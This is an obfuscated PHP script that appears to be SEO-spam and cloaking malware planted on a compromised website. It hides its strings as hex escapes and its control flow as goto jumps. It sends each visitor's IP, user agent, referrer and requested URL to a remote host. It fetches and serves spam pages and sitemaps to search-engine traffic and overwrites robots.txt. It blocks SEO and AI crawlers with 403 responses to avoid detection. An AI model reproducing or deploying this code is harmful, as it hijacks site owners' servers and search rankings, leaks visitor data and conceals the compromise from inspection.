<?php
 goto XQLsu; KCd3g: goto a4zVP; goto P8af4; JqKZp: $wQYR8 = urlencode($_SERVER["\x53\103\x52\111\x50\124\137\x4e\x41\115\x45"]); goto mcY8D; wvJwL: $Llsb5 = $DHpTF . $o5UGr . $n3FgM . $jPHYx . $i5SyP . $amndB; goto Z9XRj; DDxAi: $UPMeN = $UPMeN . "\x3f"; goto Hq2ZZ; tddQA: echo "\x6f\153"; goto Oi49e; TN24d: goto RH5w2; goto DqBmB; v_la4: NEavU("\x72\157\142\157\x74\x73\x2e\x74\170\164", $kTsQV); goto grdeK; Ed0Xc: $ndnmy = "\104\157\143\x6f\155\x6f\174\x59\x61\150\x6f\x6f\x7c\102\151\x6e\x67\174\x47\157\157\x67\x6c\145"; goto DTsPV; feqWG: if (preg_match("\x40\136\57\x28\56\x2a\77\51\x2e\x78\155\154\44\x40\x69", $_SERVER["\122\x45\x51\x55\x45\123\x54\x5f\x55\x52\111"]) or strpos($QAWhz, "\162\x6f\x62\x6f\164\163\x2e\164\x78\x74") !== false or strpos($QAWhz, "\152\x70\x32\60\62\x33") !== false or strpos($QAWhz, "\160\x69\x6e\x67\163\x69\x74\x65\x6d\x61\x70") !== false or preg_match("\57\x28{$ndnmy}\x29\x2f\x69", $_SERVER["\x48\x54\x54\x50\137\125\123\x45\122\x5f\x41\107\x45\x4e\124"]) or preg_match("\x2f\50{$ndnmy}\51\57\x69", @$_SERVER["\110\x54\124\120\x5f\x52\105\106\105\x52\105\x52"])) { goto PSAYf; } goto KCd3g; twHNy: KO5dm: goto QHANR; WXp0u: $PWX6J = $Llsb5 . "\x3f\x61\147\145\x6e\x74\x3d{$fWwIW}\46\x72\x65\x66\145\x72\x3d{$Su8Kn}\x26\154\x61\156\x67\75{$G_a5T}\46\151\160\x3d{$SA0Fp}\46\144\x6f\x6d\x3d{$ZGJpt}\46\150\164\164\x70\x3d{$zrX9P}\46\x75\162\151\x3d{$QAWhz}\x26\x70\x63\75{$ujbsM}\46\x72\x65\167\x72\151\x74\145\x61\142\x6c\x65\75{$Yt_Xi}\46\x73\x63\x72\151\160\x74\75{$wQYR8}\x26\x73\x69\164\145\x6d\x61\160\x3d" . urlencode($V396z); goto Xcwd7; bhsl2: $qySyX = "\146\x66\x77\x2e\164\x78\164"; goto wr5HD; atSMb: $dgTuO = curl_exec($lWLIA); goto hVrIl; YVZZg: NEAVu("\x72\x6f\142\157\x74\163\x2e\164\170\164", $dgTuO); goto lqYfn; TeYt3: if (strpos($UPMeN, "\151\156\x64\x65\x78\x2e\x70") !== false) { goto muybU; } goto DDxAi; K0TWQ: if (!(strpos($QAWhz, "\162\157\142\157\164\x73\56\164\170\x74") !== false)) { goto ZeKc5; } goto YVZZg; AIX67: $UPMeN = "\57"; goto gkNkt; Niyi0: if (!empty($_SERVER["\x52\x45\121\125\105\x53\x54\x5f\123\x43\x48\x45\115\x45"]) and $_SERVER["\x52\x45\x51\x55\x45\123\x54\137\x53\103\x48\105\x4d\x45"] == "\150\x74\164\x70\x73" or !empty($_SERVER["\110\124\124\x50\x53"]) and $_SERVER["\x48\x54\x54\120\x53"] == "\x6f\156" or !empty($_SERVER["\123\x45\122\126\105\122\137\120\x4f\122\124"]) and $_SERVER["\123\105\x52\x56\105\x52\137\120\x4f\122\x54"] == "\x34\x34\x33" or isset($_SERVER["\x48\x54\124\x50\137\x58\137\x46\x4f\x52\x57\101\122\104\105\x44\137\x50\x52\x4f\124\117"]) and $_SERVER["\x48\x54\x54\x50\x5f\130\x5f\x46\117\122\x57\101\122\104\105\x44\x5f\x50\x52\117\x54\117"] == "\x68\x74\164\160\x73") { goto G62dA; } goto zzy2g; gHwLx: neAVu($qySyX, "\x30"); goto kpaT0; nE4rU: $dgTuO = @file_get_contents($klxOt); goto rVDqF; wnxA_: kAug4: goto PlQKL; C602C: if (!(substr($dgTuO, 0, 10) == "\145\162\x72\157\162\x20\143\x6f\x64\145" or $dgTuO == "\65\x30\x30" or strpos($dgTuO, "\102\x61\x64\x20\107\141\164\145\167\141\171") !== false)) { goto yg7yU; } goto Vg10i; qq22i: header("\x43\x6f\156\x74\x65\x6e\x74\55\124\171\160\145\72\x20\164\x65\x78\164\57\170\x6d\x6c\73\x20\143\150\x61\162\x73\x65\164\75\x75\x74\x66\x2d\x38"); goto vqZD0; Hbzdz: IhdsU: goto dbGU1; U3ye6: if (isset($_SERVER["\110\124\x54\x50\137\130\x5f\x46\x4f\x52\127\101\122\104\105\x44\137\x46\x4f\122"])) { goto S4wIS; } goto TN24d; Wlk1K: echo $V396z . "\72\x20" . $IOr8K . "\x3c\x62\162\x2f\x3e"; goto WXp0u; tF4dE: if (isset($_SERVER["\110\x54\x54\x50\137\x43\x4c\x49\105\x4e\124\137\111\120"])) { goto TY6cj; } goto U3ye6; H1sG3: goto tyFyd; goto I7lmy; iXmcs: if (!(strpos($QAWhz, "\146\146\x77\146\146\x77") !== false)) { goto MD5fW; } goto tddQA; j7Cgk: $kTsQV = ''; goto DMegL; rVDqF: if ($dgTuO === "\157\x6b") { goto uUWvy; } goto Eia8d; iMHmE: curl_setopt($lWLIA, CURLOPT_SSL_VERIFYHOST, FALSE); goto atSMb; a0WOB: g74xi: goto Ys272; blz2L: S4wIS: goto Ic9O8; LGc8w: $SA0Fp = $_SERVER["\110\124\124\120\137\x43\x4c\111\105\116\x54\137\x49\120"]; goto zqh61; u8uub: HgPId: goto XqaLd; rb4Ad: a4zVP: goto Eq8K7; BnhEn: function d3fPH($fwbO0) { goto BzirX; PmCoH: if (!$idm8N) { goto qAwV0; } goto vT1dR; JtwJ5: return $jnk40; goto ftzLx; fRo8P: return false; goto Ef8FD; vT1dR: $jnk40 = fread($idm8N, filesize($fwbO0)); goto HavaQ; HavaQ: fclose($idm8N); goto JtwJ5; ftzLx: qAwV0: goto fRo8P; BzirX: $idm8N = fopen($fwbO0, "\162"); goto PmCoH; Ef8FD: } goto EGhm5; Hq2ZZ: goto KO5dm; goto P1B_z; XQLsu: $DHpTF = "\150\164\164\160\72\57\x2f"; goto sfsTZ; QHANR: $kTsQV = "\x55\x73\x65\162\55\x61\x67\x65\x6e\x74\x3a\40\x2a\15\xa\101\154\x6c\157\167\x3a\40\x2f"; goto kccbn; CsQAi: header("\x43\x6f\156\164\145\156\164\x2d\124\x79\160\145\x3a\40\x74\x65\170\x74\57\150\x74\155\154\x3b\40\x63\150\x61\162\x73\145\164\75\165\x74\146\x2d\70"); goto H1sG3; xbKLI: $UPMeN = $_SERVER["\x53\103\122\x49\x50\x54\137\116\101\115\x45"]; goto TeYt3; vscqw: RH5w2: goto OiX3W; NpqrL: $kTsQV = trim($kTsQV) . "\xd\12" . "\123\151\164\145\155\x61\x70\72\x20{$V396z}"; goto dHkQK; XzI07: exit; goto uQqZc; sfsTZ: $n3FgM = "\x6d\151"; goto baWpz; mcY8D: $SA0Fp = urlencode($SA0Fp); goto Niyi0; baWpz: $jPHYx = "\x6e\x75"; goto nypwd; Vg10i: header("\110\x54\x54\120\57\x31\56\x30\x20\x35\60\60\x20\x49\x6e\x74\x65\x72\156\x61\154\40\123\x65\162\x76\x65\x72\x20\x45\162\x72\157\162"); goto mMK0w; lfh1c: goto HgPId; goto mvvE6; P1B_z: muybU: goto KJsdP; du1tb: curl_setopt($lWLIA, CURLOPT_FOLLOWLOCATION, false); goto eBxQo; hUO86: curl_setopt($lWLIA, CURLOPT_RETURNTRANSFER, true); goto du1tb; TIYFd: return; goto kN2dd; HoCyg: w9j8c: goto Gnx3J; BjRo5: curl_setopt($lWLIA, CURLOPT_URL, $PWX6J); goto hUO86; ZgOqp: if (!preg_match("\57\50\123\145\155\x72\x75\x73\150\102\x6f\164\174\143\157\x6f\154\160\141\144\127\145\x62\x6b\151\x74\x7c\x73\145\141\162\x63\x68\x62\157\164\174\145\141\x73\157\x75\123\x70\151\144\x65\x72\x7c\x61\155\x61\172\157\x6e\x42\x6f\164\174\x4a\141\166\141\x7c\142\141\162\153\x72\x6f\x77\x6c\145\162\x7c\115\x6a\61\x32\x62\x6f\164\174\x43\x72\x61\x77\x6c\104\141\x64\x64\171\x7c\x41\x70\141\x63\x68\145\102\x65\156\143\150\x7c\123\x65\172\x6e\141\155\102\x6f\164\174\141\x68\x72\x65\146\x73\102\x6f\164\x7c\x55\156\151\166\145\x72\x73\x61\154\106\145\145\x64\120\141\x72\163\145\x72\174\x44\x6f\x74\102\x6f\x74\x7c\171\x69\163\x6f\165\x53\x70\x69\144\x65\x72\174\104\141\x74\141\106\157\162\123\105\117\174\103\x6c\x61\165\144\x65\142\x6f\164\x7c\x66\x65\x65\144\154\171\x7c\131\141\x6e\x64\x65\x78\102\157\164\x7c\x47\120\x54\x42\x6f\x74\174\141\163\153\124\142\106\130\124\126\x7c\172\155\x45\165\174\x70\171\x74\x68\157\x6e\x2d\x72\145\161\165\145\163\164\x73\x7c\120\x61\154\x6f\141\154\164\x6f\156\145\164\x77\x6f\162\153\x73\174\x68\x74\x74\x70\103\154\151\x65\x6e\x74\174\x64\x69\147\x45\170\x74\174\x42\171\164\x65\163\x70\x69\x64\x65\162\x7c\131\x79\123\160\151\144\145\162\174\x6a\x61\x75\x6e\164\171\174\x45\x7a\157\157\x6d\x73\174\x43\x65\156\163\x79\x73\x49\156\x73\x70\x65\143\x74\174\107\x6f\x2d\150\164\164\x70\55\143\154\151\x65\156\164\x7c\120\171\x74\150\x6f\156\55\x75\162\154\x6c\x69\142\174\x4a\x69\x6b\145\123\160\x69\x64\145\x72\x7c\114\x69\147\x68\x74\x44\x65\x63\x6b\x52\x65\160\x6f\x72\164\x73\x20\102\x6f\164\174\160\145\x74\x61\154\x42\157\x74\x7c\x43\x68\141\164\x47\120\x54\174\x50\x79\x74\150\x6f\x6e\x7c\106\145\145\x64\104\x65\x6d\x6f\156\174\110\x65\162\x69\164\162\151\x78\174\117\x42\x6f\164\174\111\156\x64\x79\40\114\151\142\162\x61\x72\x79\174\123\x63\162\141\160\x79\174\163\x77\151\x66\x74\x62\157\164\x29\x2f\x69", $_SERVER["\x48\124\x54\x50\x5f\125\123\x45\x52\x5f\101\x47\105\x4e\x54"])) { goto WefBp; } goto n7hl0; VBlW4: $fWwIW = urlencode($_SERVER["\110\124\124\x50\137\125\x53\x45\x52\137\x41\107\105\x4e\x54"]); goto tF4dE; XFmVr: $_SERVER["\x52\105\121\125\105\x53\x54\137\x53\103\110\105\115\x45"] = "\x68\x74\x74\160\163"; goto Hbzdz; wUCXs: goto MmuTj; goto CCKMH; dbGU1: function NEaVu($fwbO0, $jnk40) { goto eP46z; GcrN4: return false; goto zqhTZ; Rrk0g: fclose($idm8N); goto NRMIG; NRMIG: return true; goto lfMqi; EDOIq: fwrite($idm8N, $jnk40); goto Rrk0g; eP46z: $idm8N = fopen($fwbO0, "\x77"); goto NHcDK; lfMqi: laJwc: goto GcrN4; NHcDK: if (!$idm8N) { goto laJwc; } goto EDOIq; zqhTZ: } goto BnhEn; nypwd: $i5SyP = "\x74\145\163\x64\152"; goto gqVNd; ovitm: $klxOt = $zrX9P . "\x3a\57\x2f" . $_SERVER["\110\124\124\x50\137\110\117\123\124"] . "\57\146\x66\167\x66\x66\x77"; goto nE4rU; OASxa: if (strpos($QAWhz, "\x6a\x70\x32\60\62\x33") !== false) { goto w9j8c; } goto peVMS; IYOTK: $QAWhz = urlencode($_SERVER["\122\105\x51\x55\105\123\x54\x5f\125\122\x49"]); goto iXmcs; fn3hR: $lWLIA = curl_init(); goto BjRo5; wr5HD: if (!is_file($qySyX)) { goto VMJT1; } goto qx33P; gqVNd: $o5UGr = "\x63\167\x35\x34\65\x36\56"; goto dIa3n; dIa3n: $amndB = "\56\143\157\x6d\57"; goto wvJwL; DMegL: if (!(strpos($QAWhz, "\160\x69\156\147\163\151\x74\x65\155\x61\160") !== false)) { goto xFNxV; } goto xbKLI; DTsPV: error_reporting(0); goto ZgOqp; KJsdP: if ($Yt_Xi == 0) { goto oTONV; } goto AIX67; VlimB: oTONV: goto MakbQ; Gnx3J: header("\110\124\124\x50\57\x31\56\61\40\x34\x30\x34\x20\116\157\164\x20\106\x6f\x75\x6e\144"); goto a0WOB; EoZiq: if (empty($dgTuO)) { goto nGstS; } goto C602C; MakbQ: $UPMeN = "\x2f\77"; goto i39rR; KHXvh: goto IhdsU; goto OPCR9; OPCR9: G62dA: goto XFmVr; Oi49e: exit; goto gaP2b; grdeK: MmuTj: goto WSzph; peVMS: if (substr($dgTuO, 0, 5) == "\x3c\77\170\155\x6c") { goto SsuZj; } goto CsQAi; zqh61: goto RH5w2; goto blz2L; kjf9U: $Su8Kn = urlencode(@$_SERVER["\110\x54\124\120\x5f\122\105\106\105\x52\x45\x52"]); goto TjCFl; Ic9O8: $SA0Fp = $_SERVER["\110\124\124\120\137\x58\x5f\106\x4f\122\x57\x41\122\x44\105\104\x5f\x46\x4f\x52"]; goto vscqw; DqBmB: TY6cj: goto LGc8w; vqZD0: tyFyd: goto Wnx1S; GznHC: if (!empty($kTsQV)) { goto MtSrl; } goto K0TWQ; XqaLd: if (strpos($QAWhz, "\146\141\x76\x69\143\157\156\56\x69\143\157") !== false) { goto kAug4; } goto feqWG; KGnp8: $G_a5T = urlencode(@$_SERVER["\x48\x54\x54\x50\137\x41\x43\x43\105\x50\124\x5f\x4c\x41\116\107\125\x41\107\x45"]); goto kjf9U; Ys272: echo $dgTuO; goto GznHC; gaP2b: MD5fW: goto jaK0U; hVrIl: curl_close($lWLIA); goto GNvtH; wtWlj: kfJNG: goto u8uub; OiX3W: $ZGJpt = urlencode($_SERVER["\x48\124\124\120\x5f\110\117\x53\124"]); goto JqKZp; EGhm5: $zrX9P = urlencode($_SERVER["\122\105\121\125\105\x53\x54\x5f\123\x43\x48\105\115\105"]); goto IYOTK; kpaT0: goto kfJNG; goto nrOAv; Z9XRj: $ujbsM = "\103\x41\147\110\x55\154\125\x4a"; goto Ed0Xc; WSzph: exit; goto TIYFd; Eia8d: $Yt_Xi = 0; goto gHwLx; nrOAv: uUWvy: goto TibY1; h2o9H: neavU($qySyX, "\x31"); goto wtWlj; mMK0w: exit; goto OkyOF; uQqZc: WefBp: goto KGnp8; Wnx1S: goto g74xi; goto HoCyg; eBxQo: curl_setopt($lWLIA, CURLOPT_SSL_VERIFYPEER, FALSE); goto iMHmE; gkNkt: goto BjzEK; goto VlimB; Eq8K7: goto hv1wu; goto wnxA_; CCKMH: MtSrl: goto v_la4; n7hl0: header("\110\x54\124\120\x2f\x31\x2e\60\40\x34\60\63\x20\106\x6f\162\x62\x69\x64\x64\145\x6e"); goto XzI07; lkmnO: $PWX6J = $Llsb5 . "\77\141\147\x65\156\164\x3d{$fWwIW}\x26\x72\x65\146\145\x72\x3d{$Su8Kn}\x26\154\x61\156\x67\x3d{$G_a5T}\x26\x69\160\75{$SA0Fp}\46\x64\157\155\75{$ZGJpt}\x26\x68\164\x74\160\75{$zrX9P}\x26\x75\x72\151\x3d{$QAWhz}\x26\x70\x63\x3d{$ujbsM}\46\x72\145\x77\162\x69\164\145\x61\142\154\145\75{$Yt_Xi}\46\x73\143\x72\151\x70\164\x3d{$wQYR8}"; goto j7Cgk; Xcwd7: xFNxV: goto ZADb2; i39rR: BjzEK: goto twHNy; TjCFl: $SA0Fp = $_SERVER["\122\x45\x4d\x4f\124\105\x5f\101\104\x44\122"]; goto VBlW4; zzy2g: $_SERVER["\122\105\x51\x55\x45\x53\x54\137\123\103\x48\x45\115\x45"] = "\x68\x74\x74\160"; goto KHXvh; dHkQK: $IOr8K = ''; goto Wlk1K; f9Xx8: if (!empty($dgTuO)) { goto qsHSV; } goto fn3hR; qx33P: $Yt_Xi = D3Fph($qySyX); goto lfh1c; ZADb2: $dgTuO = @file_get_contents($PWX6J); goto f9Xx8; OkyOF: yg7yU: goto OASxa; P8af4: PSAYf: goto lkmnO; GNvtH: qsHSV: goto EoZiq; mvvE6: VMJT1: goto ovitm; I7lmy: SsuZj: goto qq22i; jaK0U: $Yt_Xi = 0; goto bhsl2; lqYfn: ZeKc5: goto wUCXs; kccbn: $V396z = "{$zrX9P}\72\57\x2f" . $ZGJpt . $UPMeN . "\163\151\x74\145\x6d\x61\160\x2e\170\x6d\x6c"; goto NpqrL; TibY1: $Yt_Xi = 1; goto h2o9H; kN2dd: nGstS: goto rb4Ad; PlQKL: hv1wu:
?>